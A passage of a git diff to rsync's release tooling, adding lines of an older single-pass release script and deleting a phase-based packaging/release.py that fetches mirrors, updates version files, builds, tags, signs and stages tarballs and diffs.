os.rename(rsync_lastver, 'a')\n+\n+    print(f\"Creating {diff_file} ...\")\n+    cmd_chk(['rsync', '-a', *gen_pathnames, 'b/'])\n+\n+    sed_script = r's:^((---|\\+\\+\\+) [ab]/[^\\t]+)\\t.*:\\1:' # CAUTION: must not contain any single quotes!\n+    cmd_chk(f\"(git diff v{lastversion} {v_ver} -- ':!.github'; diff -upN a b | sed -r '{sed_script}') | gzip -9 >{diff_file}\")\n+    shutil.rmtree('a')\n+    os.rename('b', rsync_ver)\n+\n+    print(f\"Creating {srctar_file} ...\")\n+    cmd_chk(f\"git archive --format=tar --prefix={rsync_ver}/ {v_ver} | tar xf -\")\n+    cmd_chk(f\"support/git-set-file-times --quiet --prefix={rsync_ver}/\")\n+    cmd_chk(['fakeroot', 'tar', 'czf', srctar_file, '--exclude=.github', rsync_ver])\n+    shutil.rmtree(rsync_ver)\n+\n+    print(f'Updating files in \"{rsync_ver}/patches\" dir ...')\n+    os.mkdir(rsync_ver, 0o755)\n+    os.mkdir(f\"{rsync_ver}/patches\", 0o755)\n+    cmd_chk(f\"packaging/patch-update --skip-check --branch={args.master_branch} --gen={rsync_ver}/patches\".split())\n+\n+    print(f\"Creating {pattar_file} ...\")\n+    cmd_chk(['fakeroot', 'tar', 'chzf', pattar_file, rsync_ver + '/patches'])\n+    shutil.rmtree(rsync_ver)\n+\n+    print(f\"Updating the other files in {dest} ...\")\n+    md_files = 'README.md NEWS.md INSTALL.md'.split()\n+    html_files = [ fn for fn in gen_pathnames if fn.endswith('.html') ]\n+    cmd_chk(['rsync', '-a', *md_files, *html_files, dest])\n+    cmd_chk([\"./md-convert\", \"--dest\", dest, *md_files])\n+\n+    cmd_chk(f\"git log --name-status | gzip -9 >{dest}/ChangeLog.gz\")\n+\n+    for fn in (srctar_file, pattar_file, diff_file):\n+        asc_fn = fn + '.asc'\n+        if os.path.lexists(asc_fn):\n+            os.unlink(asc_fn)\n+        res = cmd_run(['gpg', '--batch', '-ba', fn])\n+        if res.returncode != 0 and res.returncode != 2:\n+            die(\"gpg signing failed\")\n+\n+    if not pre:\n+        for find in f'{dest}/rsync-*.gz {dest}/rsync-*.asc {dest}/src-previews/rsync-*diffs.gz*'.split():\n+            for fn in glob.glob(find):\n+                os.unlink(fn)\n+        top_link = [\n+                srctar_file, f\"{srctar_file}.asc\",\n+                pattar_file, f\"{pattar_file}.asc\",\n+                diff_file, f\"{diff_file}.asc\",\n+                ]\n+        for fn in top_link:\n+            os.link(fn, re.sub(r'/src(-\\w+)?/', '/', fn))\n+\n+    print(f\"\"\"\\\n+{dash_line}\n+\n+Local changes are done.  When you're satisfied, push the git repository\n+and rsync the release files.  Remember to announce the release on *BOTH*\n+rsync-announce@lists.samba.org and rsync@lists.samba.org (and the web)!\n+\"\"\")\n+\n+\n+def replace_or_die(regex, repl, txt, die_msg):\n+    m = regex.search(txt)\n+    if not m:\n+        die(die_msg)\n+    return regex.sub(repl, txt, 1)\n+\n+\n+def signal_handler(sig, frame):\n+    die(\"\\nAborting due to SIGINT.\")\n+\n+\n+if __name__ == '__main__':\n+    parser = argparse.ArgumentParser(description=\"Prepare a new release of rsync in the git repo & ftp dir.\", add_help=False)\n+    parser.add_argument('--branch', '-b', dest='master_branch', default='master', help=\"The branch to release. Default: master.\")\n+    parser.add_argument(\"--help\", \"-h\", action=\"help\", help=\"Output this help message and exit.\")\n+    args = parser.parse_args()\n+    main()\n+\n+# vim: sw=4 et ft=python\ndiff --git a/packaging/release.py b/packaging/release.py\ndeleted file mode 100755\nindex 186148c..0000000\n--- a/packaging/release.py\n+++ /dev/null\n@@ -1,874 +0,0 @@\n-#!/usr/bin/env python3\n-\n-# Phase-based release script for rsync.  The prepare-pr phase updates tracked\n-# release files for review.  After that PR is merged, stage-release creates\n-# the signed tag and release artefacts without publishing them.  The final\n-# publish-release phase updates the public mirrors after confirmation.\n-#\n-# Persistent state and working files live in a release/ directory beside the\n-# primary rsync checkout. Worktrees share that directory. RSYNC_RELEASE_DIR\n-# can override it.\n-#\n-#   ../release/rsync-ftp/       mirror of samba.org:/home/ftp/pub/rsync\n-#   ../release/rsync-html/      release-time snapshot of the html site\n-#   ../release/work/            scratch space for tarball / diff staging\n-#   ../release/release-state.json   info shared between steps\n-#\n-# The rsync-patches archive is no longer maintained and has been dropped.\n-#\n-# Run \"packaging/release.py --list\" to see the step list.\n-\n-import os, sys, re, argparse, glob, shutil, json, signal, subprocess, filecmp\n-from datetime import datetime\n-\n-sys.path = ['packaging'] + sys.path\n-\n-from pkglib import (\n-    warn, die, cmd_run, cmd_chk, cmd_txt, cmd_txt_chk, cmd_pipe,\n-    get_rsync_version,\n-    get_NEWS_version_info, get_protocol_versions,\n-)\n-\n-# ---------- Paths ----------\n-\n-def default_release_dir():\n-    override = os.environ.get('RSYNC_RELEASE_DIR')\n-    if override:\n-        return os.path.realpath(override)\n-    checkout = os.path.realpath('.')\n-    project_dir = os.path.dirname(checkout)\n-    if os.path.basename(project_dir) == 'worktrees':\n-        project_dir = os.path.dirname(project_dir)\n-    try:\n-        proc = subprocess.run(\n-            ['git', 'rev-parse', '--path-format=absolute', '--git-common-dir'],\n-            check=True, capture_output=True, encoding='utf-8')\n-        common_dir = os.path.realpath(proc.stdout.strip())\n-        return os.path.realpath(os.path.join(os.path.dirname(common_dir), '..', 'release'))\n-    except (OSError, subprocess.SubprocessError):\n-        return os.path.join(project_dir, 'release')\n-\n-\n-RELEASE_DIR = default_release_dir()\n-FTP_DIR     = os.path.join(RELEASE_DIR, 'rsync-ftp')\n-HTML_DIR    = os.path.join(RELEASE_DIR, 'rsync-html')\n-WORK_DIR    = os.path.join(RELEASE_DIR, 'work')\n-STATE_FILE  = os.path.join(RELEASE_DIR, 'release-state.json')\n-\n-# The rsync-web/ subdirectory in the rsync source tree is the source-of-truth\n-# for the git-tracked html content.  stage-release snapshots it into HTML_DIR\n-# for the release flow and augments it with filtered server-side content.\n-HTML_SRC = os.path.realpath('rsync-web')\n-\n-FTP_REMOTE_PATH  = '/home/ftp/pub/rsync'\n-HTML_REMOTE_PATH = '/home/httpd/html/rsync'\n-\n-# Files that ./configure + make produce and that the release tarball / diff\n-# need to bundle alongside the git-tracked source.  Mirrors the GENFILES\n-# definition in Makefile.in (with rrsync.1{,.html} since we always configure\n-# --with-rrsync during the release build).\n-GEN_FILES = [\n-    'configure.sh',\n-    'aclocal.m4',\n-    'config.h.in',\n-    'rsync.1',     'rsync.1.html',\n-    'rsync-ssl.1', 'rsync-ssl.1.html',\n-    'rsyncd.conf.5', 'rsyncd.conf.5.html',\n-    'rrsync.1',    'rrsync.1.html',\n-]\n-\n-# ---------- Phase registry ----------\n-\n-PHASES = [\n-    ('prepare-pr',      'update tracked release files and run the release build'),\n-    ('stage-release',   'fetch mirrors, verify the merged PR, tag, build and sign artefacts'),\n-    ('publish-release', 'publish the FTP and website trees and print final release actions'),\n-]\n-\n-DASH_LINE = '=' * 74\n-\n-# ---------- State helpers ----------\n-\n-def load_state():\n-    if not os.path.isfile(STATE_FILE):\n-        die(f\"{STATE_FILE} not found. Run --prepare-pr first.\")\n-    with open(STATE_FILE, 'r', encoding='utf-8') as fh:\n-        return json.load(fh)\n-\n-\n-def save_state(state):\n-    os.makedirs(RELEASE_DIR, exist_ok=True)\n-    with open(STATE_FILE, 'w', encoding='utf-8') as fh:\n-        json.dump(state, fh, indent=2, sort_keys=True)\n-        fh.write('\\n')\n-\n-\n-def require_samba_host():\n-    host = os.environ.get('RSYNC_SAMBA_HOST', '')\n-    if not host.endswith('.samba.org'):\n-        die(\"Set RSYNC_SAMBA_HOST in your environment to the samba hostname (e.g. hr3.samba.org).\")\n-    return host\n-\n-\n-def require_top_of_checkout():\n-    if not os.path.isfile('packaging/release.py'):\n-        die(\"Run this script from the top of your rsync checkout.\")\n-    if not os.path.exists('.git'):\n-        die(\"There is no .git in the current directory (run from the top of a git checkout or worktree).\")\n-\n-\n-def replace_or_die(regex, repl, txt, die_msg):\n-    m = regex.search(txt)\n-    if not m:\n-        die(die_msg)\n-    return regex.sub(repl, txt, 1)\n-\n-\n-def section(title):\n-    print(f\"\\n{DASH_LINE}\\n== {title}\\n{DASH_LINE}\")\n-\n-\n-def verify_html_snapshot():\n-    tracked = cmd_txt_chk(['git', 'ls-files', '-z', '--', 'rsync-web']).out.split('\\0')\n-    for source in filter(None, tracked):\n-        relative = os.path.relpath(os.path.realpath(source), HTML_SRC)\n-        staged = os.path.join(HTML_DIR, relative)\n-        if not os.path.isfile(staged) or not filecmp.cmp(source, staged, shallow=False):\n-            die(f\"Staged website file differs from reviewed source: {source}\")\n-\n-\n-def confirm(prompt, default_no=True):\n-    suffix = '[n] ' if default_no else '[y] '\n-    ans = input(f\"{prompt} {suffix}\").strip().lower()\n-    if default_no:\n-        return ans.startswith('y')\n-    return ans == '' or ans.startswith('y')\n-\n-\n-# ---------- Step 1: fetch ftp + html ----------\n-\n-def step_1_fetch(args):\n-    host = require_samba_host()\n-    os.makedirs(RELEASE_DIR, exist_ok=True)\n-    os.makedirs(WORK_DIR, exist_ok=True)\n-\n-    section(f\"Fetching ftp dir into {FTP_DIR}\")\n-    if not os.path.isdir(FTP_DIR):\n-        os.makedirs(FTP_DIR)\n-    # packaging/ftp.filt is the authoritative copy of the .filt filter file\n-    # that controls which subtrees rsync excludes from the FTP mirror.\n-    # Seed FTP_DIR/.filt from it so the bundled version is used for the pull\n-    # and later propagated back to the server during publication.\n-    # --exclude=/.filt below stops the server's copy from\n-    # overwriting our bundled one on the way down.\n-    filt = os.path.join(FTP_DIR, '.filt')\n-    bundled_filt = os.path.realpath('packaging/ftp.filt')\n-    if not os.path.isfile(bundled_filt):\n-        die(f\"{bundled_filt} not found; cannot seed .filt for the FTP pull.\")\n-    shutil.copyfile(bundled_filt, filt)\n-    cmd_chk(['rsync', '-aivOHP', f'-f:_{filt}', '--exclude=/.filt',\n-             f'{host}:{FTP_REMOTE_PATH}/', f'{FTP_DIR}/'])\n-\n-    section(f\"Fetching server-only html content into {HTML_DIR}\")\n-    if not os.path.isdir(HTML_SRC):\n-        die(f\"{HTML_SRC} not found.  This should be the in-tree rsync-web/ \"\n-            f\"subdirectory; something is wrong with your checkout.\")\n-    if os.path.isdir(HTML_DIR):\n-        shutil.rmtree(HTML_DIR)\n-    os.makedirs(HTML_DIR, exist_ok=True)\n-\n-    # Mirror non-git content from the server first. The reviewed rsync-web\n-    # source is overlaid afterwards and therefore remains authoritative.\n-    filt = os.path.join(HTML_SRC, 'filt')\n-    if os.path.exists(filt):\n-        tmp_filt = os.path.join(WORK_DIR, 'html-pull.filt')\n-        cmd_chk(f\"sed -n -e 's/[-P]/H/p' '{filt}' >'{tmp_filt}'\")\n-        cmd_chk(['rsync', '-aivOHP', f'-f._{tmp_filt}',\n-                 f'{host}:{HTML_REMOTE_PATH}/', f'{HTML_DIR}/'])\n-        os.unlink(tmp_filt)\n-\n-    section(f\"Overlaying reviewed html from {HTML_SRC}\")\n-    cmd_chk(['rsync', '-aiv', f'{HTML_SRC}/', f'{HTML_DIR}/'])\n-    verify_html_snapshot()\n-\n-    print(f\"\\nFetch complete.  Local dirs are now in {RELEASE_DIR}.\")\n-\n-\n-# ---------- Step 2: prepare ----------\n-\n-def step_2_prepare(args):\n-    require_top_of_checkout()\n-    os.makedirs(RELEASE_DIR, exist_ok=True)\n-\n-    now = datetime.now().astimezone()\n-    cl_today = now.strftime('* %a %b %d %Y')\n-    year     = now.strftime('%Y')\n-    ztoday   = now.strftime('%d %b %Y')\n-    today    = ztoday.lstrip('0')\n-    web_today = f'{now.day} {now.strftime(\"%B %Y\")}'\n-    tz_now   = now.strftime('%z')\n-    tz_num   = tz_now[0:1].replace('+', '') + str(float(tz_now[1:3]) + float(tz_now[3:]) / 60)\n-\n-    curversion = get_rsync_version()\n-    with open('NEWS.md', 'r', encoding='utf-8') as fh:\n-        news_top = fh.readline()\n-    m = re.match(r'^# NEWS for rsync (\\d+\\.\\d+\\.\\d+)', news_top)\n-    news_version = m[1] if m else None\n-    # Skip the version we are releasing: its NEWS entry may already be dated,\n-    # in which case it would otherwise be taken for the previous release.\n-    lastversion, last_protocol_version, pdate = get_NEWS_version_info(\n-        skip_version=news_version or re.sub(r'(pre\\d+|dev)$', '', curversion))\n-    protocol_version, subprotocol_version    = get_protocol_versions()\n-\n-    # Default next version: bump preN, or move dev -> pre1.\n-    version = curversion\n-    m = re.search(r'pre(\\d+)', version)\n-    if m:\n-        version = re.sub(r'pre\\d+', 'pre' + str(int(m[1]) + 1), version)\n-    else:\n-        version = version.replace('dev', 'pre1')\n-        if version == curversion and news_version and news_version != curversion:\n-            version = news_version\n-\n-    print(f\"\\nCurrent version (version.h): {curversion}\")\n-    print(f\"Last released version (NEWS.md): {lastversion}\")\n-    print(f\"Current protocol version: {protocol_version}  (last released: {last_protocol_version})\")\n-\n-    ans = input(f\"\\nVersion to release [{version}, '.' to drop the preN suffix]: \").strip()\n-    if ans == '.':\n-        version = re.sub(r'pre\\d+', '', version)\n-    elif ans:\n-        version = ans\n-    if not re.match(r'^[\\d.]+(pre\\d+)?$', version):\n-        die(f'Invalid version: \"{version}\"')\n-    version = re.sub(r'[-.]*pre[-.]*', 'pre', version)\n-\n-    if 'pre' in version and not curversion.endswith('dev'):\n-        lastversion = curversion\n-\n-    ans = input(f\"Previous version to diff against [{lastversion}]: \").strip()\n-    if ans:\n-        lastversion = ans\n-    lastversion = re.sub(r'[-.]*pre[-.]*', 'pre', lastversion)\n-\n-    m = re.search(r'(pre\\d+)', version)\n-    pre = m[1] if m else ''\n-    finalversion = re.sub(r'pre\\d+', '', version)\n-\n-    release = '0.1' if pre else '1'\n-    ans = input(f\"RPM release number [{release}]: \").strip()\n-    if ans:\n-        release = ans\n-    if pre:\n-        release += '.' + pre\n-\n-    proto_changed = protocol_version != last_protocol_version\n-    if proto_changed:\n-        if finalversion in pdate:\n-            proto_change_date = pdate[finalversion]\n-        else:\n-            while True:\n-                ans = input(f\"Date the protocol changed to {protocol_version} (dd Mmm yyyy): \").strip()\n-                if re.match(r'^\\d\\d \\w\\w\\w \\d\\d\\d\\d$', ans):\n-                    break\n-            proto_change_date = ans\n-    else:\n-        proto_change_date = ' ' * 11\n-\n-    if 'pre' in lastversion:\n-        if not pre:\n-            die(\"Refusing to diff a release version against a pre-release version.\")\n-        srcdir = srcdiffdir = lastsrcdir = 'src-previews'\n-    elif pre:\n-        srcdir = srcdiffdir = 'src-previews'\n-        lastsrcdir = 'src'\n-    else:\n-        srcdir = lastsrcdir = 'src'\n-        srcdiffdir = 'src-diffs'\n-\n-    state = {\n-        'version':            version,\n-        'lastversion':        lastversion,\n-        'finalversion':       finalversion,\n-        'pre':                pre,\n-        'release':            release,\n-        'protocol_version':   protocol_version,\n-        'subprotocol_version': subprotocol_version,\n-        'proto_changed':      proto_changed,\n-        'proto_change_date':  proto_change_date,\n-        'srcdir':             srcdir,\n-        'srcdiffdir':         srcdiffdir,\n-        'lastsrcdir':         lastsrcdir,\n-        'today':              today,\n-        'web_today':          web_today,\n-        'ztoday':             ztoday,\n-        'cl_today':           cl_today,\n-        'year':               year,\n-        'tz_num':             tz_num,\n-        'master_branch':      args.master_branch,\n-    }\n-    save_state(state)\n-\n-    section(\"Release info\")\n-    for k in ('version', 'lastversion', 'release', 'srcdir', 'srcdiffdir', 'lastsrcdir',\n-              'protocol_version', 'proto_changed', 'proto_change_date'):\n-        print(f\"  {k}: {state[k]}\")\n-    print(f\"\\nWrote {STATE_FILE}. Re-run --prepare-pr to change anything.\")\n-\n-\n-# ---------- Step 3: tweak version files ----------\n-\n-def step_3_tweak(args):\n-    require_top_of_checkout()\n-    state = load_state()\n-\n-    version          = state['version']\n-    finalversion     = state['finalversion']\n-    pre              = state['pre']\n-    release          = state['release']\n-    today            = state['today']\n-    ztoday           = state['ztoday']\n-    cl_today         = state['cl_today']\n-    year             = state['year']\n-    tz_num           = state['tz_num']\n-    proto_changed    = state['proto_changed']\n-    proto_change_date = state['proto_change_date']\n-    protocol_version  = state['protocol_version']\n-    srcdir           = state['srcdir']\n-\n-    specvars = {\n-        'Version:':           finalversion,\n-        'Release:':           release,\n-        '%define fullversion': f'%{{version}}{pre}',\n-        'Released':           version + '.',\n-        '%define srcdir':     srcdir,\n-    }\n-\n-    tweak_files = ['version.h', 'rsync.h', 'NEWS.md']\n-    if not pre:\n-        tweak_files += ['rsync-web/index.html', 'rsync-web/security.html']\n-    tweak_files += glob.glob('packaging/*.spec')\n-    tweak_files += glob.glob('packaging/*/*.spec')\n-\n-    for fn in tweak_files:\n-        with open(fn, 'r', encoding='utf-8') as fh:\n-            old_txt = txt = fh.read()\n-        if fn == 'version.h':\n-            x_re = re.compile(r'^(#define RSYNC_VERSION).*', re.M)\n-            txt = replace_or_die(x_re, r'\\1 \"%s\"' % version, txt,\n-                                 f\"Unable to update RSYNC_VERSION in {fn}\")\n-            x_re = re.compile(r'^(#define MAINTAINER_TZ_OFFSET).*', re.M)\n-            txt = replace_or_die(x_re, r'\\1 ' + tz_num, txt,\n-                                 f\"Unable to update MAINTAINER_TZ_OFFSET in {fn}\")\n-        elif fn == 'rsync.h':\n-            x_re = re.compile(r'(#define\\s+SUBPROTOCOL_VERSION)\\s+(\\d+)')\n-            repl = lambda m: m[1] + ' ' + (\n-                '0' if not pre or not proto_changed\n-                else '1' if m[2] == '0'\n-                else m[2])\n-            txt = replace_or_die(x_re, repl, txt,\n-                                 f\"Unable to find SUBPROTOCOL_VERSION in {fn}\")\n-        elif fn == 'NEWS.md':\n-            efv = re.escape(finalversion)\n-            # Accept either \"(UNRELEASED)\" or an already-filled date, so a\n-            # release entry that was dated by hand (or by an earlier run of\n-            # this step) does not have to be reverted before releasing.\n-            x_re = re.compile(\n-                r'^# NEWS for rsync %s \\((?:UNRELEASED|\\?\\? \\?\\?\\? \\d{4}|\\d+ \\w{3} \\d{4})\\)\\s+## Changes in this version:\\n' % efv\n-                + r'(\\n### PROTOCOL NUMBER:\\s+- The protocol number was changed to \\d+\\.\\n)?')\n-            rel_day = 'UNRELEASED' if pre else today\n-            repl = (f'# NEWS for rsync {finalversion} ({rel_day})\\n\\n'\n-                    + '## Changes in this version:\\n')\n-            if proto_changed:\n-                repl += f'\\n### PROTOCOL NUMBER:\\n\\n - The protocol number was changed to {protocol_version}.\\n'\n-            good_top = re.sub(r'\\(.*?\\)', '(UNRELEASED)', repl, 1)\n-            msg = (f\"The top of {fn} is not in the right format.  It should be:\\n\" + good_top\n-                   + \"(an already-filled release date in place of UNRELEASED is also accepted)\")\n-            txt = replace_or_die(x_re, repl, txt, msg)\n-            x_re = re.compile(\n-                r'^(\\| )(\\S{2} \\S{3} \\d{4})(\\s+\\|\\s+%s\\s+\\| ).{11}(\\s+\\| )\\S{2}(\\s+\\|+)$' % efv,\n-                re.M)\n-            repl = lambda m: (m[1] + (m[2] if pre else ztoday) + m[3]\n-                              + proto_change_date + m[4] + protocol_version + m[5])\n-            txt = replace_or_die(x_re, repl, txt,\n-                                 f'Unable to find \"| ?? ??? {year} | {finalversion} | ... |\" line in {fn}')\n-        elif fn in ('rsync-web/index.html', 'rsync-web/security.html'):\n-            heading = (f'Rsync version {version} released'\n-                       if fn.endswith('index.html') else f'Security fix in {version}')\n-            x_re = re.compile(\n-                rf'(<h3>{re.escape(heading)}</h3>\\s*'\n-                r'<i class=date>)(?:\\?\\? \\?\\?\\? \\d{4}|\\d+ \\w+ \\d{4})(</i>)')\n-            txt = replace_or_die(\n-                x_re, rf'\\g<1>{state[\"web_today\"]}\\2', txt,\n-                f'Unable to find the {version} release date in {fn}')\n-        elif '.spec' in fn:\n-            for var, val in specvars.items():\n-                x_re = re.compile(r'^%s .*' % re.escape(var), re.M)\n-                txt = replace_or_die(x_re, var + ' ' + val, txt,\n-                                     f\"Unable to update {var} in {fn}\")\n-            x_re = re.compile(r'^\\* \\w\\w\\w \\w\\w\\w \\d\\d \\d\\d\\d\\d (.*)', re.M)\n-            txt = replace_or_die(x_re, r'%s \\1' % cl_today, txt,\n-                                 f\"Unable to update ChangeLog header in {fn}\")\n-        else:\n-            die(f\"Unrecognized file in tweak_files: {fn}\")\n-\n-        if txt != old_txt:\n-            print(f\"Updating {fn}\")\n-            with open(fn, 'w', encoding='utf-8') as fh:\n-                fh.write(txt)\n-\n-    cmd_chk(['packaging/year-tweak'])\n-\n-    section(\"git diff after tweaks\")\n-    cmd_run(['git', '--no-pager', 'diff'])\n-\n-\n-# ---------- Step 4: build ----------\n-\n-def step_4_build(args):\n-    require_top_of_checkout()\n-    load_state()  # just to ensure we've prepared\n-\n-    section(\"Running prepare-source + configure --prefix=/usr --with-rrsync + make + make gen\")\n-    # Always re-prepare so configure.sh is current; we run configure ourselves\n-    # with the release-required flags rather than relying on the cached\n-    # config.status (which may have been produced with different options).\n-    if os.path.isfile('.fetch'):\n-        cmd_chk(['./prepare-source', 'fetch'])\n-    else:\n-        cmd_chk(['./prepare-source'])\n-\n-    cmd_chk(['./configure', '--prefix=/usr', '--with-rrsync'])\n-    cmd_chk(['make'])\n-    cmd_chk(['make', 'gen'])\n-\n-\n-# ---------- Step 5: verify merged release source ----------\n-\n-def step_5_verify(args):\n-    require_top_of_checkout()\n-    state = load_state()\n-    version = state['version']\n-    finalversion = state['finalversion']\n-    lastversion = state['lastversion']\n-    pre = state['pre']\n-    master_branch = state['master_branch']\n-\n-    branch = cmd_txt_chk(['git', 'branch', '--show-current']).out.strip()\n-    if branch != master_branch:\n-        die(f\"Release staging requires branch {master_branch}, not {branch}.\")\n-    dirty = cmd_txt_chk(['git', 'status', '--porcelain=v1']).out\n-    if dirty:\n-        die(\"Release staging requires a clean checkout:\\n\" + dirty)\n-    cmd_chk(['git', 'fetch', 'origin', master_branch])\n-    head = cmd_txt_chk(['git', 'rev-parse', 'HEAD']).out.strip()\n-    upstream = cmd_txt_chk(['git', 'rev-parse', f'origin/{master_branch}']).out.strip()\n-    if head != upstream:\n-        die(f\"Release commit {head} does not match origin/{master_branch} at {upstream}.\")\n-\n-    if get_rsync_version() != version:\n-        die(f\"version.h reports {get_rsync_version()}, expected {version}.\")\n-    if not pre:\n-        release_day = datetime.now().astimezone().strftime('%d %b %Y').lstrip('0')\n-        if state['today'] != release_day:\n-            die(f\"Release metadata is dated {state['today']}, not {release_day}. \"\n-                \"Prepare a corrected release PR before staging.\")\n-\n-    expected_news = (f'# NEWS for rsync {finalversion} (UNRELEASED)'\n-                     if pre else f'# NEWS for rsync {finalversion} ({state[\"today\"]})')\n-    checks = {\n-        'NEWS.md': [expected_news],\n-        'packaging/lsb/rsync.spec': [f'Version: {finalversion}', f'Released {version}.'],\n-    }\n-    if not pre:\n-        checks['rsync-web/index.html'] = [\n-            f'Rsync version {version} released',\n-            f'<i class=date>{state[\"web_today\"]}</i>',\n-            f'rsync-{version}.tar.gz',\n-            f'rsync-{lastversion}-{version}.diffs.gz',\n-        ]\n-        checks['rsync-web/security.html'] = [\n-            f'Security fix in {version}',\n-            f'<i class=date>{state[\"web_today\"]}</i>',\n-            'CVE-2026-119741',\n-        ]\n-\n-    for fn, required in checks.items():\n-        with open(fn, 'r', encoding='utf-8') as fh:\n-            txt = fh.read()\n-        for value in required:\n-            if value not in txt:\n-                die(f'{fn} does not contain the expected release text: {value}')\n-\n-    section(f\"Release source verified for {version}\")\n-\n-\n-def release_preflight():\n-    missing = [command for command in ('fakeroot', 'git', 'gpg', 'gzip', 'rsync', 'sed', 'tar')\n-               if not shutil.which(command)]\n-    if missing:\n-        die(\"Missing release commands: \" + ', '.join(missing))\n-    section(\"Checking release markdown conversion\")\n-    cmd_chk(['./md-convert', '--test', 'NEWS.md'])\n-\n-\n-def verify_artefact_inputs():\n-    state = load_state()\n-    required = list(GEN_FILES)\n-    required.append(os.path.join(\n-        FTP_DIR, state['lastsrcdir'], f'rsync-{state[\"lastversion\"]}.tar.gz'))\n-    missing = [fn for fn in required if not os.path.isfile(fn)]\n-    if missing:\n-        die(\"Missing release inputs:\\n  \" + '\\n  '.join(missing))\n-\n-\n-# ---------- Step 6: tag ----------\n-\n-def step_6_tag(args):\n-    require_top_of_checkout()\n-    state = load_state()\n-    version = state['version']\n-    v_ver = 'v' + version\n-\n-    head = cmd_txt_chk(['git', 'rev-parse', 'HEAD']).out.strip()\n-    out = cmd_txt_chk(['git', 'tag', '-l', v_ver]).out\n-    if out.strip():\n-        target = cmd_txt_chk(['git', 'rev-list', '-n', '1', v_ver]).out.strip()\n-        if target != head:\n-            die(f\"Tag {v_ver} already exists at {target}, not release commit {head}.\")\n-        section(f\"Reusing signed tag {v_ver}\")\n-        cmd_chk(['git', 'tag', '-v', v_ver])\n-        return\n-\n-    remote = cmd_txt(['git', 'ls-remote', '--exit-code', '--tags', 'origin',\n-                      f'refs/tags/{v_ver}'], capture='combined')\n-    if remote.rc == 0:\n-        die(f\"Tag {v_ver} already exists on origin. Refusing to recreate it.\")\n-    if remote.rc != 2:\n-        die(f\"Unable to check whether {v_ver} exists on origin:\\n{remote.out}\")\n-\n-    # Prime the gpg agent so the actual tag signing won't prompt.\n-    section(\"Priming gpg agent\")\n-    cmd_run(\"touch TeMp; gpg --sign TeMp; rm -f TeMp TeMp.gpg\")\n-\n-    section(f\"Creating signed tag {v_ver}\")\n-    out = cmd_txt(['git', 'tag', '-s', '-m', f'Version {version}.', v_ver],\n-                  capture='combined').out\n-    print(out, end='')\n-    if 'bad passphrase' in out.lower() or 'failed' in out.lower():\n-        die(\"Tag creation failed.\")\n-\n-\n-# ---------- Step 7: tarball + diff ----------\n-\n-def step_7_tarball(args):\n-    require_top_of_checkout()\n-    state = load_state()\n-\n-    version      = state['version']\n-    lastversion  = state['lastversion']\n-    pre          = state['pre']\n-    srcdir       = state['srcdir']\n-    srcdiffdir   = state['srcdiffdir']\n-    lastsrcdir   = state['lastsrcdir']\n-\n-    rsync_ver     = 'rsync-' + version\n-    rsync_lastver = 'rsync-' + lastversion\n-    v_ver         = 'v' + version\n-\n-    srctar_name = f\"{rsync_ver}.tar.gz\"\n-    diff_name   = f\"{rsync_lastver}-{version}.diffs.gz\"\n-\n-    srctar_file = os.path.join(FTP_DIR, srcdir, srctar_name)\n-    diff_file   = os.path.join(FTP_DIR, srcdiffdir, diff_name)\n-    lasttar_file = os.path.join(FTP_DIR, lastsrcdir, rsync_lastver + '.tar.gz')\n-\n-    for d in (os.path.dirname(srctar_file), os.path.dirname(diff_file)):\n-        os.makedirs(d, exist_ok=True)\n-    if not os.path.isfile(lasttar_file):\n-        die(f\"Previous tarball not found: {lasttar_file}\")\n-\n-    # Stage in ../release/work to keep the source checkout clean.\n-    if os.path.isdir(WORK_DIR):\n-        shutil.rmtree(WORK_DIR)\n-    os.makedirs(WORK_DIR)\n-\n-    a_dir = os.path.join(WORK_DIR, 'a')\n-    b_dir = os.path.join(WORK_DIR, 'b')\n-\n-    # Extract gen files from the previous tarball into work/a/.\n-    tweaked_gen_files = [os.path.join(rsync_lastver, fn) for fn in GEN_FILES]\n-    cmd_chk(['tar', '-C', WORK_DIR, '-xzf', lasttar_file, *tweaked_gen_files])\n-    os.rename(os.path.join(WORK_DIR, rsync_lastver), a_dir)\n-\n-    # Copy current gen files (built in the top-level checkout) into work/b/.\n-    os.makedirs(b_dir)\n-    cmd_chk(['rsync', '-a', *GEN_FILES, b_dir + '/'])\n-\n-    section(f\"Creating {diff_file}\")\n-    sed_script = r's:^((---|\\+\\+\\+) [ab]/[^\\t]+)\\t.*:\\1:'  # no single quotes!\n-    cmd_chk(\n-        f\"(git diff v{lastversion} {v_ver} -- ':!.github'; \"\n-        f\"diff -upN {a_dir} {b_dir} | sed -r '{sed_script}') | gzip -9 >{diff_file}\")\n-\n-    section(f\"Creating {srctar_file}\")\n-    # Reuse work/b/ (which already holds the fresh gen files) as the release\n-    # staging dir, then let \"git archive\" overlay the git-tracked source files\n-    # on top.  That way the tarball ends up with both gen files and source.\n-    rsync_ver_dir = os.path.join(WORK_DIR, rsync_ver)\n-    shutil.rmtree(a_dir)\n-    os.rename(b_dir, rsync_ver_dir)\n-    cmd_chk(f\"git archive --format=tar --prefix={rsync_ver}/ {v_ver} | \"\n-            f\"tar -C {WORK_DIR} -xf -\")\n-    cmd_chk(f\"support/git-set-file-times --quiet --prefix={rsync_ver_dir}/\")\n-    cmd_chk(['fakeroot', 'tar', '-C', WORK_DIR, '-czf', srctar_file,\n-             '--exclude=.github', rsync_ver])\n-\n-    # Leave staging in place for the FTP refresh.\n-    print(f\"\\nCreated:\\n  {srctar_file}\\n  {diff_file}\")\n-\n-\n-# ---------- Step 8: update ftp ----------\n-\n-def step_8_update_ftp(args):\n-    require_top_of_checkout()\n-    state = load_state()\n-\n-    version     = state['version']\n-    lastversion = state['lastversion']\n-    srcdir      = state['srcdir']\n-    srcdiffdir  = state['srcdiffdir']\n-\n-    rsync_ver     = 'rsync-' + version\n-    rsync_lastver = 'rsync-' + lastversion\n-    srctar_file   = os.path.join(FTP_DIR, srcdir, f\"{rsync_ver}.tar.gz\")\n-    diff_file     = os.path.join(FTP_DIR, srcdiffdir,\n-                                 f\"{rsync_lastver}-{version}.diffs.gz\")\n-\n-    section(f\"Refreshing top-of-tree files in {FTP_DIR}\")\n-    md_files = ['README.md', 'NEWS.md', 'INSTALL.md']\n-    html_files = [fn for fn in GEN_FILES if fn.endswith('.html')]\n-    cmd_chk(['rsync', '-a', *md_files, *html_files, FTP_DIR + '/'])\n-    cmd_chk(['./md-convert', '--dest', FTP_DIR, *md_files])\n-\n-    section(f\"Regenerating {FTP_DIR}/ChangeLog.gz\")\n-    cmd_chk(f\"git log --name-status | gzip -9 >{FTP_DIR}/ChangeLog.gz\")\n-\n-    # 